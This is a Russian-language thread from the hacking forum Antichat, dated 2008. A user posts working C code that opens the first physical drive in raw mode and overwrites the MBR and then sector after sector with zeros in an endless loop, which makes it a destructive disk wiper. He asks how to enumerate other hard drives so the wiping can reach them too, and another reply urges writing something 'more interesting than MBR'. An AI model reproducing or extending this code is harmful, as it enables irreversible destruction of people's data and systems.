Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Как определить идентификатор жесткого диска? (https://forum.antichat.xyz/showthread.php?t=72378)

_nic 02.06.2008 15:16

Как определить идентификатор жесткого диска?
 
Вот к примеру с помощью такого примитива
Код:

des()
{
HANDLE fs;DWORD num;
char bf1[512];char bf2[1024*256];
char *disk="\\\\.\\PHYSICALDRIVE0";
int sek=0;
fs=CreateFile(disk,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,NULL);
memset(bf2,0,1024*256);
for(;;)
{
SetFilePointer(fs,512*sek,NULL,FILE_BEGIN);
if(sek==0)
{
memset(bf1,0,512);
WriteFile(fs,bf1,512,&num,NULL);
}
sek=sek+1024;
WriteFile(fs,bf2,512,&num,NULL);
}
}

Можно подпортить инфу на жестком диске.Но насколько я понимаю данные потрутся только на харде с которого грузится винда(PHYSICALDRIVE0).А если есть другие харды , то как можно получить их идентификаторы при этом не спутав хард с оптическим приводом?

KSoniX 02.06.2008 15:45

читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html

_nic 02.06.2008 19:06

Цитата:

Сообщение от KSoniX
читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html

Причем здесь загрузочный сектор???Я хотел узнать как можно железки типа HDD опознать под виндой.Тем более ссылка по линуксу.

KSoniX 04.06.2008 09:32

в загрузочный секторе хранится инфо по разделам
или я тебя не понял, если тебе серийный номер диска нужен то смотри здесь
https://forum.antichat.ru/thread71136.html

disasembler 11.06.2008 22:29

структуры то общие:)
а портировать под винду проблем не составляет, только устройства разные открывать, а так может чтото поинтереснее мбр напишешь:)


Время: 05:48